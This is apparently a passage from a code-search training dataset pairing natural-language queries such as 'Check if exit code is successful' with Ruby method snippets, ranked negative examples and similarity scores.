"def body\n # The -2 is because we drop the last line; The last line output by the assert method.\n @test_lines[0..-2] + [\"result = \" + @test_lines[-1].to_s]\n end",
"def add(a,b)\n puts \"Adding #{a} and #{b}:\"\n return a + b\nend",
"def result(res)\n clear_eval\n puts Debugger::PROMPTS[:result] + res.to_s\n end",
"def result(res)\n clear_eval\n puts Debugger::PROMPTS[:result] + res.to_s\n end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def dong\n a = puts \"DONG...\"\n a\nend",
"def add(a, b)\n puts \"SUM #{a} + #{b}\"\n return a + b\nend",
"def fact\n puts ''\n puts '---Did you know?---'\n puts 'A pregnant goldfish is called a twit.'\n end",
"def puts_s(thing)\n puts\n puts \"--\"*7\n puts thing\n puts \"--\"*7\n puts\nend",
"def returns; end",
"def my_method\n puts \"ayyy\"\n puts \"joe\"\nend",
"def add (a, b)\n answ = a + b\n puts \"Adding #{a} and #{b}...\"\n puts \"Answer is: #{answ}.\"\n return answ\nend",
"def add(x, y)\n puts \"Adding #{x}, #{y}\"\n return x + y\nend",
"def tst_result\n passed? ? \"p\" : \"f\"\n end",
"def execute_last &decision\n return execute_line @test_lines[-1], &decision\n end",
"def puts object = ''\n TetCore.break_after_print\n TetCore.real_puts(object)\nend",
"def return_statement_tail\n expression if @enum.peek != Token.new(:symbol, ';')\n semicolon\n #@instruction.push(\";\")\n #@instruction.push(\"\\n\")\n end",
"def this_has_error\n puts ''\n end",
"def myfun1(x,y)\n z=x+y\n puts z # last argument is returned by default\nend",
"def say(output)\n puts \"===> #{output} <===\"\nend",
"def print_value\n\t\treturn @value\n\tend"
] |
[
"0.647758",
"0.6423839",
"0.64021486",
"0.6380447",
"0.62487465",
"0.62479407",
"0.61865354",
"0.61702883",
"0.61702883",
"0.61702883",
"0.61702883",
"0.61702883",
"0.616525",
"0.6112354",
"0.6034298",
"0.6019449",
"0.60040617",
"0.59787375",
"0.59483546",
"0.59483546",
"0.59483546",
"0.59483546",
"0.5903374",
"0.5889651",
"0.5889651",
"0.5889651",
"0.5889651",
"0.5889651",
"0.5889651",
"0.5889651",
"0.5889651",
"0.5889651",
"0.58891416",
"0.58245",
"0.5815697",
"0.5807958",
"0.5805391",
"0.57443386",
"0.57443386",
"0.57443386",
"0.5738145",
"0.57188934",
"0.57092524",
"0.5703268",
"0.5699754",
"0.5687714",
"0.56856084",
"0.5677733",
"0.5675556",
"0.5671601",
"0.5657958",
"0.5639091",
"0.5634345",
"0.5632717",
"0.56307393",
"0.5620563",
"0.5618005",
"0.5618005",
"0.5611668",
"0.5603693",
"0.56034446",
"0.55957764",
"0.5594069",
"0.5589039",
"0.5588386",
"0.55873364",
"0.55867785",
"0.55802226",
"0.5575267",
"0.55704284",
"0.5569821",
"0.5560902",
"0.55547154",
"0.5542194",
"0.55409276",
"0.55393225",
"0.55377144",
"0.55336857",
"0.55336857",
"0.55310744",
"0.55310744",
"0.55310744",
"0.55310744",
"0.55310744",
"0.55310744",
"0.55075425",
"0.54995245",
"0.5490615",
"0.54879063",
"0.54867756",
"0.5482123",
"0.54746723",
"0.5472311",
"0.5465788",
"0.5465165",
"0.5464835",
"0.54537886",
"0.5451679",
"0.5444619",
"0.544416",
"0.54356265"
] |
0.0
|
-1
|
Initialize a new session command
|
def initialize(command, output=nil, exit_code=nil, duration=0)
@command = command
@output = output || ''
@exit_code = Integer(exit_code) rescue 1 if exit_code != nil
@duration = Float(duration)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(command, session_id: DEFAULT_SESSION_ID, **options)\n\t\t\t\tsuper(command, **options)\n\t\t\t\t\n\t\t\t\t@session_id = session_id\n\t\t\t\t@hosts = {}\n\t\t\tend",
"def initialize(command, session_id: DEFAULT_SESSION_ID, **options)\n\t\t\t\tsuper(command, **options)\n\t\t\t\t\n\t\t\t\t@session_id = session_id\n\t\t\t\t@hosts = {}\n\t\t\tend",
"def initialize session_id\n @session_id = session_id\n\n # The command will be passed to the game instance first\n # and the game instance should notify the decision manager.\n @decision_manager = DecisionManager.new\n\n # After the decision manager filter the commands,\n # other managers should continue to process the command respectively.\n @player_manager = PlayerManager.new\n @score_board_manager = ScoreBoardManager.new\n @word_manager = WordManager.new\n\n @state_manager = StateManager.new @player_manager, @score_board_manager, @word_manager\n\n end",
"def session_command(name, data = nil)\n command('Session.Command', name, data)\n end",
"def initialize(session); end",
"def new_session\n # disable autocorrect (oh-my-zsh)\n shell_write(\"unsetopt correct_all; unsetopt correct\\n\")\n # fixing oh-my-zsh themes\n shell_write(\"PROMPT='$ '\\n\")\n # fixing issues with ZSH syntax highlighting (not very common)\n shell_write(\"unset ZSH_HIGHLIGHT_HIGHLIGHTERS\\n\")\n # fixing issues with exotic ZSH prompts\n shell_write(\"prompt off\\n\")\n ###\n\n # disable bash completetion\n shell_write(\"complete -r\\n\")\n # enter\n shell_write(\"\\n\")\n # second enter\n shell_write(\"\\n\")\n #############\n # new_session_start\n rstream.flush\n end",
"def initialize(command)\n telnet_state_machine command\n end",
"def initialize(command)\n @command = command\n end",
"def initialize_session\n puts 'initializing session with client'\n end",
"def on_session_command(session, command)\n\tend",
"def session_begin(cred, mode)\n #This is a stub, used for indexing\n end",
"def initialize command\n @command = command\n end",
"def new\n @session = Session.new('')\n end",
"def initialize(session, options = T.unsafe(nil)); end",
"def initialize(session, options = T.unsafe(nil)); end",
"def initialize(name, command)\r\n super(name)\r\n @command = command\r\n end",
"def init\n @session_id = SecureRandom.uuid\n request(:init, '{\"init\":\"none\"}')\n end",
"def session=(_arg0); end",
"def initialize(args = {})\n @ip = args[:ip]\n @username = args[:username] || \"admin\"\n @password = args[:password] || \"admin\"\n @initial_args = args\n @session = ssh_session(@ip,@username,@password)\n @device_type = args[:device_type]\n end",
"def initialize\n @prompt = TTY::Prompt.new\n end",
"def open_session(iter)\n Msf::Ui::Gtk2::Console::Shell.new(iter)\n end",
"def initialize_session\n # Save the thread incase we need to forcibly kill it\n @puppet_thread = Thread.current\n @puppet_thread_id = @puppet_thread.object_id.to_i\n end",
"def initialize(session, option=nil)\n @session = Session.find_first([\"sessid = '%s'\", session.session_id])\n if @session\n @data = @session.data\n else\n @session = Session.new(\"sessid\" => session.session_id, \"data\" => {})\n end\n end",
"def new\n @session = Session.new\n end",
"def initialize(session_id)\n @session_id = session_id\n super \"Create the First Job\"\n end",
"def setup\n @current_session = new_session\n end",
"def initialize\n load_commands\n end",
"def initialize\n @prompt = TTY::Prompt.new\n end",
"def new_session\n open_session do |sess|\n sess.extend(SessionMethods)\n yield sess if block_given?\n end\n end",
"def new_session(options)\n options[:source_profile] = options[:source_profile].to_sym\n options[:profile] = options[:profile].to_sym\n\n user_prof = user_profile(options[:source_profile], options[:config_file])\n options = user_prof.to_h.deep_merge(options).deep_symbolize_keys\n\n sb = SessionBuilder.new(\n mfa_device: mfa_device(options),\n session_duration_seconds: options[:duration],\n source_profile: user_prof\n )\n set_user_session_profile(options[:profile], sb.session_profile)\n end",
"def initialize(session)\n @session = session\n on_start\n true\n end",
"def initialize\n @viewport = Viewport.new(0,0,Graphics.width,Graphics.height)\n @viewport.z = 99999\n # Initialize shell options if not set\n $ShellOptions ||= ShellOptions.load\n # Get the active config. If none is found, use the default config.\n if !$ShellOptions.activeConfig || !$ShellOptions.shellConfigs.has_key?($ShellOptions.activeConfig)\n $ShellOptions.shellConfigs['default'] ||= ShellConfiguration.newDefault\n $ShellOptions.activeConfig = 'default'\n end\n @config = $ShellOptions.shellConfigs[$ShellOptions.activeConfig]\n # Create the console window and set the available commands.\n @window = ConsoleWindow.new(self,@viewport.rect)\n @prompt = @config.prompt\n @aliases = $ShellOptions.shellAliases\n @commands = {}\n self.set_commands\n @context = nil\n self.main\n end",
"def init_session\n if session\n if session.updated_at < Time.now - ::Gricer.config.max_session_duration\n self.session = Session.create previous_session: session, ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n else\n self.session.touch\n end\n else\n self.is_first_in_session = true\n self.session = Session.create ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n self.session.touch\n end\n \n session\n end",
"def initialize(session, option=nil)\n if @session = @@session_class.find_session(session.session_id)\n @data = unmarshalize(@session.data)\n else\n @session = @@session_class.create_session(session.session_id, marshalize({}))\n @data = {}\n end\n end",
"def new\n @session = Session.new\n end",
"def initialize\n @prompt = TTY::Prompt.new\n end",
"def initialize\n @prompt = TTY::Prompt.new\n end",
"def initialize(session)\n self.session = session\n end",
"def session_options=(_arg0); end",
"def session_options=(_arg0); end",
"def initialize(session)\n @session = session\n end",
"def initialize(session)\n @session = session\n end",
"def initialize(session)\n @session = session\n end",
"def initialize_session\n Session.create(sc: @sc, msisdn: @msisdn, session_id: @session_id, req_no: @req_no)\n @response = Registration.subscription_selection(@screen_id)\n end",
"def initialize( prompt = false )\n\n\t\t@prompt = prompt\n\t\t\n\t\t# This string is only assigned when a quick command created via an \n\t\t# instance of Command. More through \n\t\t@code = yield if block_given?\n\n\tend",
"def initialize(name)\n super \"Unknown command: #{name}\"\n @command = name\n end",
"def initialize(cmd)\n\t\t@env = {}\n\t\t\n\t\t@clearenv = false\n\t\t@mergeouts = false\n\t\t\n\t\t@cmd = cmd.map{|a| a.to_s}\n\tend",
"def setup\n open_session\n end",
"def initialize(connection) \n @SocketHandle = connection \n connection.puts \"Admin session\"\n\n handleRequest\n end",
"def new args\n\t\t\trequire 'simrb/comd'\n\t\t\tsimrb_app = Simrb::Scommand.new\n\t\t\tsimrb_app.run(args.unshift('new'))\n\t\tend",
"def new args\n\t\t\trequire 'simrb/comd'\n\t\t\tsimrb_app = Simrb::Scommand.new\n\t\t\tsimrb_app.run(args.unshift('new'))\n\t\tend",
"def initialize(connection_to_socket, args = {})\n @connection = connection_to_socket\n @user = args[:user]\n @password = args[:password]\n\n srv = connection.protocol::Connect.new(\n protocol: 19,\n user: args[:user],\n password: args[:password]\n ).process(connection)\n\n @session = srv[:session] || OrientdbBinary::OperationTypes::NEW_SESSION\n end",
"def initialize(host, username, options = {}, &block) # :yields: session\n # connection settings\n @host = host\n @port = options[:port] || 513\n @username = username\n @password = options[:password] || nil\n @local_host = options[:local_host] || \"0.0.0.0\"\n @local_port = options[:local_port] || 1023\n @client_user_name = options[:client_user_name] || \"\"\n @server_user_name = options[:server_user_name] || \"\"\n @terminal_type = options[:terminal_type] || \"xterm\"\n @speed = options[:speed] || 38400\n @rows = options[:rows] || 24\n @columns = options[:columns] || 80\n @pixel_x = options[:pixel_x] || 0\n @pixel_y = options[:pixel_y] || 0\n \n # parser settings\n @login_token = options[:login_token] || /login:\\s$/\n @password_token = options[:password_token] || /Password:\\s$/\n @prompt = options[:prompt] || /^[^\\n]*[#\\$]> $/\n @logout_token = options[:logout_token] || /exit\\s+logout$/\n \n # logging\n @logger = options[:logger]\n \n # buffer\n @receive_buffer = \"\"\n @logged_in = false\n \n # start the session if a block is given\n self.session(&block) if block\n end",
"def initialize(session_id, args = {})\n session_id = session_id.id if session_id.is_a?(SessionID)\n @session_id = session_id.freeze\n super(CALL_NAME, args) do\n SessionID session_id\n end\n end",
"def initialize_command(message)\n message = Message.new(params)\n @command = begin\n \"#{message.command.capitalize}Command\".constantize.new(message)\n rescue\n HelpCommand.new(message)\n end\n end",
"def initialize(cmd)\n Stars.config.prompt_for_username(cmd[1]) if cmd[0] == 'add'\n\n system \"clear\"\n puts \"★ stars\"\n\n display(cmd[0])\n star_loop\n end",
"def new(*)\n # return new mock session\n BunnyMock::Session.new\n end",
"def initialize\n register_script \"Remember and recall short factoids.\"\n\n register_command \"remember\", :cmd_remember, 1, 0, nil, \"Remember the given factoid. Should be in the form: ___ is|= ___\"\n register_command \"forget\", :cmd_forget, 1, 0, nil, \"Forget this factoid.\"\n register_command \"factoid\", :cmd_factoid, 1, 0, nil, \"Retrieve a factoid.\"\nend",
"def initialize\n @commands = Hash.new\n @commands = {\n :add_repository => nil,\n :info => nil,\n :install => nil,\n :search => nil,\n :update => nil,\n :upgrade => nil\n }\n\n set_commands\n end",
"def initialize(conn)\n super(\"\",nil)\n self.passwd = nil\n self.color = false\n self.characters = []\n @conn = conn # Reference to network session (connection)\n @mode = :initialize\n @echo = false\n @termsize = nil\n @terminal = nil\n @checked = 3 # Login retry counter - on 0 disconnect\n @account = nil # used only during sign-in process\n @character = nil # reference to the currently played Character.\n end",
"def set_session\n \n end",
"def initialize(shell)\n\t\tsuper\n\tend",
"def start_session\n generate_token(:token)\n setup_session\n update_last_session\n end",
"def initialize(session = :default)\n self.session = Mongoid::Sessions.with_name(session)\n rescue => e\n # client/session not configured\n end",
"def initialize(session_id, options = nil)\r\n RAGI.LOGGER.debug(\"creating ragi session with id=#{session_id}\")\r\n\r\n standard_options = {\r\n # This tells the base class where to look in the request_hash\r\n \"session_key\" => \"session_id\",\r\n\r\n # Disable output\r\n \"no_hidden\" => true,\r\n \"no_cookies\" => true,\r\n \r\n # Create a new session iff there is not an existing session id\r\n \"new_session\" => (session_id == nil)\r\n }\r\n\r\n full_options = DEFAULT_OPTIONS.merge(standard_options)\r\n full_options.merge!(options) if options\r\n\r\n # Convert all keys to strings\r\n full_options.keys.each do |key|\r\n full_options[key.to_s] = full_options.delete(key) if key.class != String\r\n end\r\n\r\n request_hash = { \"session_id\" => session_id }\r\n super(request_hash, full_options)\r\n end",
"def initialize( options )\n\t\t@startup_options = options\n\n\t\t@prompt = DEFAULT_PROMPT\n\t\t@aliases = {}\n\n\t\t@columns = TermInfo.screen_width\n\t\t@rows = TermInfo.screen_height\n\t\t@commands = RoninShell::Command.require_all\n\t\t@command_table = self.make_command_table( @commands )\n\n\t\t@quitting = false\n\n\t\tself.log.debug \"%p: set up with %d builtin commands for a %dx%d terminal\" %\n\t\t\t[ self.class, @commands.length, @columns, @rows ]\n\tend",
"def ready_to_open_host_session\n @local_serial = false # default for host\n load_prompt_file # prompt regexp of device\n spawn_cmd = make_spawn_command\n if @prompt && spawn_cmd\n yield spawn_cmd\n else\n @logger.error 'Invalid parameter in param file(S)'\n end\n end",
"def initialize command_string\n @cmds = parse_command_string( command_string.to_s )\n end",
"def initialize(*args)\n super\n\n @config = @bot.config\n @db = @config.db\n @keywords = eval(\"/#{@config.keywords.join(\"|\")}/i\")\n @passwd = config['command']['password'] ||\n Digest::SHA1.hexdigest(\"impersonate!\")\n @users = []\n end",
"def new\n @taster_session = TasterSession.new\n end",
"def initialize(cmd, port)\n @cmd = cmd\n @port = port\n end",
"def initialize(battle, map, entity)\n @battle = battle\n @session = battle.session\n @map = map\n @entity = entity\n @prompt = TTY::Prompt.new\n end",
"def new\n @session = User::Session.new\n end",
"def initialize(info = {})\n super\n\n # Initialize the pending_connections counter to 0\n self.pending_connections = 0\n\n # Initialize the sessions counter to 0\n self.sessions = 0\n\n # Create the waiter event with auto_reset set to false so that\n # if a session is ever created, waiting on it returns immediately.\n self.session_waiter_event = Rex::Sync::Event.new(false, false)\n end",
"def set_commands; end",
"def initialize( * )\n\t\tsuper\n\t\t@session = nil\n\t\t@session_namespace = nil\n\tend",
"def initialize\n @graph_command = []\n end",
"def initialize(registry)\n @commands = registry\n end",
"def initialize(*command_path) \n @command = command_path.collect { |part| \"#{part}\".gsub('_', '-') }.join('/')\n @command = \"/#{@command}\" unless @command.start_with?('/')\n @options = {}\n @replies = []\n end",
"def initialize_session(params_hash)\n raise_error_unless_params_is_a_hash(params_hash)\n raise_error_if_params_are_empty(params_hash)\n request.method = :post\n request.uri = '_session'\n Couchdbtools.execute(request)\n end",
"def init \n\t\t\t@user_id, user_name = \"SELECT user_id, user_name FROM BULK_USER WHERE user_id=? AND user_pwd=?\", @user_name, @password\n\t\t\tif !@user_id || !user_name\n\t\t\t\traise \"login denied\"\n\t\t\tend\n\n\t\t\t@session_token = class.generateSessionToken @user, @client_ip\n\t\t\t\n\t\t\t\"INSERT INTO bulk_session (session_token, user_id, since, last_seen, ip_address)\n\t\t\t\tVALUES (?, ?, date('now'), date('now'), ?)\", @session_token, user_id, @client_ip\n\n\t\t\t@session_id= 'SELECT last_inserted_value'\n\t\t\t\n\t\tend",
"def initialize(session, option=nil)\n @session_id = session.session_id\n unless GLOBAL_HASH_TABLE.key?(@session_id)\n unless session.new_session\n raise CGI::Session::NoSession, \"uninitialized session\"\n end\n GLOBAL_HASH_TABLE[@session_id] = {}\n end\n end",
"def set_session\n @session = BatchConnect::Session.find(params[:id])\n end",
"def reset_irb\n say \"Began new irb session\"\n @session = try_eval(\"!INIT!IRB!\")\n end",
"def set_command\n @command = Command.find_by(id: params[:id])\n end",
"def post_init\n @queue, @input, @timers = [], [], {}\n connect { start_session }\n send_next_command\n end",
"def new_session\n IntegrationSession.new\n end",
"def initialize(cmds = {})\n @commands = cmds\n end",
"def set_session(env, sid, new_session, options)\n# if options[:drop]\n# @sessions[sid] = nil\n# return false\n# end\n @sessions[sid] = new_session\n\n # Commit the repository, including session data.\n Maglev.commit_transaction\n return sid\n end",
"def open_session; end",
"def initialize(session)\n @now = session || Hash.new\n @next = Hash.new\n super(@now)\n end",
"def initialize(opts)\n @device = opts[:device].to_sym\n @session = opts[:session]\n\n # Stash original opts for inspection purposes\n @opts = opts\n end",
"def connect!\n sessions\n self\n end",
"def command_start; end",
"def command_start; end",
"def command_start; end",
"def initialize\n register_script \"Provide on-protocol help for bot scripts and commands.\"\n\n register_command \"help\", :cmd_help, 0, 0, nil, \"Show help for the given command or a list of all commands. Parameters: [command]\"\n register_command \"script\", :cmd_script, 0, 0, nil, \"Show a description of the given script or a list of all scripts. Parameters: [script]\"\nend",
"def initialize(cmd)\n $stdout.sync = true\n @cmd = cmd\n end",
"def ___init_command\n @cobj.add_rem.cfg[:def_msg] = 'OK'\n @cobj.rem.add_sys\n @cobj.rem.add_ext\n @cobj.rem.add_int\n self\n end",
"def initialize_session\n query_data = {\n \"IsHacked\" => @is_hacked,\n \"DeviceGenerationInfo\" => @device_generation_info,\n \"PublisherSDKVersion\" => @publisher_sdk_version,\n \"IsUsingSdk\" => @is_using_sdk,\n \"PublisherUserId\" => @publisher_user_id,\n \"OSVersion\" => @os_version,\n \"ClientIp\" => @client_ip,\n \"UDIDs\" => parse_udids, \n \"AppId\" => @app_id,\n \"IsOnCellular\" => @is_on_cellular\n }\n \n @raw_data = post_request(@api_url, query_data.to_json)\n @session = W3i::SessionData.new(@raw_data)\n\n true\n end",
"def initialize command, parameters = nil\n @command = command\n @parameters = parameters\n end"
] |
[
"0.7198026",
"0.7198026",
"0.6787802",
"0.67759883",
"0.65970576",
"0.6582366",
"0.6564245",
"0.6547552",
"0.64557767",
"0.64456356",
"0.64143497",
"0.63714004",
"0.6357132",
"0.63165104",
"0.63165104",
"0.62855434",
"0.62584424",
"0.62372094",
"0.6222839",
"0.6218442",
"0.6184404",
"0.61709684",
"0.6133747",
"0.61244303",
"0.610118",
"0.60994005",
"0.60881096",
"0.60837775",
"0.6076393",
"0.6071158",
"0.60504305",
"0.6041984",
"0.6039141",
"0.60390335",
"0.6027032",
"0.60149384",
"0.60149384",
"0.60147",
"0.6010285",
"0.6010285",
"0.5999706",
"0.5999706",
"0.5999706",
"0.5994787",
"0.598756",
"0.5986605",
"0.59657043",
"0.59637296",
"0.59242654",
"0.59224033",
"0.59224033",
"0.59189117",
"0.5900844",
"0.58799183",
"0.5877698",
"0.58611697",
"0.58522415",
"0.58322555",
"0.5827773",
"0.5813042",
"0.5810031",
"0.5806499",
"0.58049476",
"0.578791",
"0.57612777",
"0.57600856",
"0.5726679",
"0.5716093",
"0.5715049",
"0.5698215",
"0.569818",
"0.5697991",
"0.5695131",
"0.5689818",
"0.5666634",
"0.56619257",
"0.5657279",
"0.5656951",
"0.56434345",
"0.56324357",
"0.5632207",
"0.5629806",
"0.5618379",
"0.5613994",
"0.5611773",
"0.56116676",
"0.5610656",
"0.55936414",
"0.55912876",
"0.55895686",
"0.55841184",
"0.5583571",
"0.55815166",
"0.55702233",
"0.55702233",
"0.55702233",
"0.5570205",
"0.55628175",
"0.5556558",
"0.55461746",
"0.5544837"
] |
0.0
|
-1
|
Check if exit code is successful
|
def success?
exit_code == 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def successful?\n exit_code == 0\n end",
"def success?\n exit_status == 0\n end",
"def failure?\n exit_code != 0\n end",
"def success?\n # note that Linux ruby returns nil when exitstatus is nil and a termsig\n # value is set instead.\n return @exitstatus ? (0 == @exitstatus) : nil\n end",
"def exit_status\n @failure_count == 0 ? exit(0) : exit(1)\n end",
"def puppet_successful?(exit_status)\n [0, 2].include?(exit_status)\n end",
"def exitstatus; end",
"def check_exit_code(code)\n status = code == SUCCESS_EXIT_CODE ? SUCCESS_STATUS : FAILURE_STATUS\n return status\n end",
"def success?\n\t\t!!( @status and @status.exitstatus == 0 )\n\tend",
"def has_errors?\n return @exitcode == 2 || @exitcode == 1\n end",
"def success?\n status == Process::EXIT_SUCCESS\n end",
"def exitstatus(*) end",
"def nonzero_exit?\n exit_code != 0\n end",
"def check_exit_code!(executable, command, output)\n if $?.exitstatus != 0\n raise DownloaderError, \"Error on `#{executable} #{command}`.\\n#{output}\"\n end\n end",
"def last_command_successful?\n $?.exitstatus == 0\n end",
"def successful?\n @code == 0\n end",
"def exit?\n !exit_code.nil?\n end",
"def exitstatus\n subexec.try(:exitstatus)\n end",
"def exitcode\n run unless @process\n @process.exitstatus\n end",
"def failing?\n @status.exitstatus & (1 << 3) != 0\n end",
"def exitcode\n run unless @process\n @process.exitstatus\n end",
"def exit(res=0) end",
"def exit_status\n wait_until_done\n @status && @status.exitstatus\n end",
"def exit(ret)\n @exit_status = ret\n if defined? Rbkb::Cli::TESTING\n throw(((ret==0)? :exit_zero : :exit_err), ret)\n else\n Kernel.exit(ret)\n end\n end",
"def exit_status_from_exception; end",
"def done?\n !!@exitstatus\n end",
"def failing?\n @status.exitstatus & (1 << 3) != 0\n end",
"def exit_status\n @status\n end",
"def last_exit_successful?\n $!.nil? || $!.is_a?(SystemExit) && $!.success?\nend",
"def assert_clean_exit\n assert(0 == exit_status)\n end",
"def ok?\n run unless ran?\n\n @status.success?\n end",
"def ok?\n @result.retval == 0\n end",
"def success?\n @code.to_i == 0\n end",
"def run_and_success?(cmd)\n run(cmd).success?\n end",
"def done?\n exit_status.present?\n end",
"def exit!(res=0) end",
"def prefail?\n @status.exitstatus & (1 << 4) != 0\n end",
"def exit_code\n self.__options[:exit_code]\n end",
"def test_exitstatus\n with_fixture 'exitstatus' do\n assert system(\"ruby\", ocra, \"exitstatus.rb\", *DefaultArgs)\n system(\"exitstatus.exe\")\n assert_equal 167, $?.exitstatus\n end\n end",
"def system_exit(status)\n exit(status)\n end",
"def error!(status, msg)\n error msg\n exit status\n end",
"def checkProcessStatus(description)\n #N Without this, we won't know the status of the last process\n processStatus = $?\n #N If we don't check for exited, then we might report an invalid or undefined status value\n if not processStatus.exited?\n raise \"#{description}: process did not exit normally\"\n end\n #N Without this, we won't know if the status was non-zero\n exitStatus = processStatus.exitstatus\n #N If we don't check for zero, then we'll always raise an error, even for success\n if exitStatus != 0\n #N If we don't raise the error, then an invalid exit status will seem to exit successfully\n raise \"#{description}: exit status = #{exitStatus}\"\n end\n end",
"def run_success(*command, **opts, &b)\n\t\t\tstatus, _out, _error = run(*command, **opts, &b)\n\t\t\tstatus.success?\n\t\tend",
"def do_exit (v, code, msg)\n puts msg unless msg == nil\n if v == true\n exit 3\n else\n exit code\n end\nend",
"def assert_error_occurred\n assert_not_exit_status 0\n end",
"def system_exitcode(t, stderr, name)\t\n\t\tif t.value.success?\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: #{name} succeded.\"\n\t\t\tif stderr.any?\n\t\t\t\t$logfile.puts \"#{name} output:\"\n\t\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\tend\n\t\telse\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: Error in #{name}:\"\n\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\texit\n\t\tend\n\tend",
"def tests_contain_failures?\n $?.exitstatus == PHPUNIT_FAILURES_EXITCODE\n end",
"def successful?\n @code.nil?\n end",
"def exit_status\n status = 0\n if @metrics[\"changes\"] && @metrics[\"changes\"][TOTAL] &&\n @metrics[\"resources\"] && @metrics[\"resources\"][\"failed\"] &&\n @metrics[\"resources\"][\"failed_to_restart\"]\n status |= 2 if @metrics[\"changes\"][TOTAL] > 0\n status |= 4 if @metrics[\"resources\"][\"failed\"] > 0\n status |= 4 if @metrics[\"resources\"][\"failed_to_restart\"] > 0\n else\n status = -1\n end\n status\n end",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def error_log?\n @status.exitstatus & (1 << 6) != 0\n end",
"def exitcode\n @process_status ? @process_status.exitstatus : nil\n end",
"def system_exitcode(t, stderr, name)\t\n\t\tif t.value.success?\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: Running #{name} finished.\"\n\t\t\tif stderr.any?\n\t\t\t\t$logfile.puts \"#{name} output:\"\n\t\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\tend\n\t\telse\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: Error in #{name}:\"\n\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\texit\n\t\tend\n\tend",
"def prefail?\n @status.exitstatus & (1 << 4) != 0\n end",
"def puppet_detailed_exit_code_indicates_error?(ec)\n return (ec == 4 or ec == 6 or ec == 1)\n end",
"def determine_exit_code(db)\n if db.insert_count > 0 then 2 else 0 end\nend",
"def exit_process(exit_code)\n exit exit_code\n end",
"def tests_contain_errors?\n $?.exitstatus == PHPUNIT_ERRORS_EXITCODE\n end",
"def error(msg, code)\n STDERR.puts msg\n exit code\nend",
"def error(msg, code)\n STDERR.puts msg\n exit code\nend",
"def exit_status\n status = 0\n status |= 2 if @metrics[\"changes\"][\"total\"] > 0\n status |= 4 if @metrics[\"resources\"][\"failed\"] > 0\n status\n end",
"def error_check(rc)\n if ZMQ::Util.resultcode_ok?(rc)\n false\n else\n puts \"Operation failed, errno [#{ZMQ::Util.errno}] description [#{ZMQ::Util.error_string}]\"\n caller(1).each { |callstack| puts callstack }\n true\n end\nend",
"def success?() end",
"def successful?\n status_code == 0 ? true : false\n end",
"def system_exit\n exit 1\n end",
"def exit_code\n # there must be no unit test failures\n # pp @results\n final_exit_code = 0\n if @results['rubocop']\n # more than 10 errors per file on average\n status = @results['rubocop']['total_errors'] / @results['rubocop']['total_files']\n if status > 10\n puts \"More than 10 RuboCop errors per file found. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['openstudio_style']\n total_files = @results['openstudio_style']['by_measure'].count\n status = @results['openstudio_style']['total_errors'] / total_files\n if status > 10\n puts \"More than 10 OpenStudio Style errors found per file. Found #{status}\"\n final_exit_code = 1\n end\n\n status = @results['openstudio_style']['total_warnings'] / total_files\n if status > 25\n puts \"More than 25 OpenStudio Style warnings found per file, reporting as error. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['minitest']\n if @results['minitest'][:total_errors] > 0 || @results['minitest'][:total_failures] > 0\n puts 'Unit Test (Minitest) errors/failures found.'\n final_exit_code = 1\n end\n end\n\n # if @results['coverage']\n # status = @results['coverage']['total_percent_coverage']\n # if status < 70\n # puts \"Code coverage is less than 70%, raising error. Coverage was #{status}\"\n # final_exit_code = 1\n # end\n # end\n\n # Since the data are relative to the directory from which it has been run, then just show from current dir (.)\n puts 'Open ./test_results/dashboard/index.html to view measure testing dashboard.'\n\n return final_exit_code\n end",
"def error(message, code = 1)\n puts \"custodian: #{message}\"\n exit code\n end",
"def puppet_changes?(exit_status)\n [2, 6].include?(exit_status)\n end",
"def error_log?\n @status.exitstatus & (1 << 6) != 0\n end",
"def set_exit_status\n @exit_status =\n if exception\n exception.is_a?(StandardError) ? 2 : 3\n else\n Logger.has_warnings? ? 1 : 0\n end\n end",
"def exit_status()\n unless @exit_status.nil?\n Thread === @exit_status ? @exit_status.value().exitstatus() : \n @exit_status.exitstatus()\n end\n end",
"def exit_status()\n unless @exit_status.nil?\n Thread === @exit_status ? @exit_status.value().exitstatus() : \n @exit_status.exitstatus()\n end\n end",
"def exit_code(value = nil)\n if value\n @exit_code = value\n else\n @exit_code\n end\n end",
"def assert_no_clean_exit\n assert(0 != exit_status)\n end",
"def is_successful?\n status_code == '0'\n end",
"def success?\n @code.nil? && @error.nil?\n end",
"def error(rc)\n return rc[0].strip if rc[2].success?\n\n puts \"ERROR: #{rc[1]}\"\n\n exit(-1)\nend",
"def check_retval(rc, e_klass = nil)\n return true unless ::OpenNebula.is_error?(rc)\n fail (e_klass ? e_klass : RuntimeError ), rc.message\n end",
"def ok_msg(message)\n puts \"OK - #{message}\"\n exit 0\n end",
"def ok?\n code == FX_OK\n end",
"def exit!(msg, err = -1)\n Kitchenplan::Log.debug(msg)\n Process.exit err\n end",
"def exit_code=(value)\n end",
"def success?; terminal_flag == :success end",
"def success?; terminal_flag == :success end",
"def success?(*) end",
"def exit_code\n if(File.exist?(@exit_code_file))\n File.read(@exit_code_file).to_i\n else\n nil\n end\n end",
"def cmd_succeeds(cmd)\n system_cmd(cmd).should be true\n end",
